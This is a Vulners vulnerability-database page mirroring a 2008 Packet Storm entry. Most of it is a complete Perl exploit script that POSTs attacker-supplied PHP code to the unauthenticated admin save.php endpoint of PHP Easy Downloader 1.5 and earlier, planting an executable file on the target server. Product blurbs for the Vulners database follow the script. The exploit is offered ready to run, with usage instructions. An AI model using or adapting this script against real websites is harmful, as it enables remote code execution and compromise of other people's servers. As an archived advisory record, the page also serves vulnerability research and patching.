Lucene search
+L

ped-create.txt

🗓️ 18 Oct 2008 00:00:00Reported by StAkeRType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Remote File Creation Exploit in PHP Easy Downloader v1.

Code
`#!/usr/bin/perl  
# --------------------------------------------------------  
# PHP Easy Downloader <= 1.5 Remote File Creation Exploit  
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it  
# On 17/10/2008  
# http://www.hasemithut.de/downloads/index.php  
# --------------------------------------------------------  
  
use strict;  
use LWP::UserAgent;  
  
my $host = shift(@ARGV);  
my $file = shift(@ARGV);  
my $http = new LWP::UserAgent;  
  
if($host !~ /^http:\/\/(.+?)$/ && $file !~ /(\w+)\.([a-zA-Z])?/)  
{  
print "[?] PHP Easy Downloader <= 1.5 Remote File Creation Exploit\r\n";  
print "[?] Usage: perl $0 http://[host] [filename]\r\n";  
exit;  
}  
  
chomp(my $code = <STDIN>);  
  
if($code !~ /(<\?php|<\?#)(.*?)\?>/)  
{  
print "[?] You must insert PHP Code\r\n";  
exit;  
}  
  
my $post = $http->post($host.'/file_info/admin/save.php',  
[  
filename => $file,  
accesses => $code.'//',  
]);   
  
if($post->is_success)  
{  
if($post->as_string =~ /(Upload Date|Change Made!)/i)  
{  
print "[?] $host/file_info/descriptions/$file.0 Created\r\n";  
exit;  
}  
else  
{  
print "[?] Exploit Failed!\r\n";  
exit;  
}  
}   
  
  
__END__  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Oct 2008 00:00Current
7.4High risk
Vulners AI Score7.4
27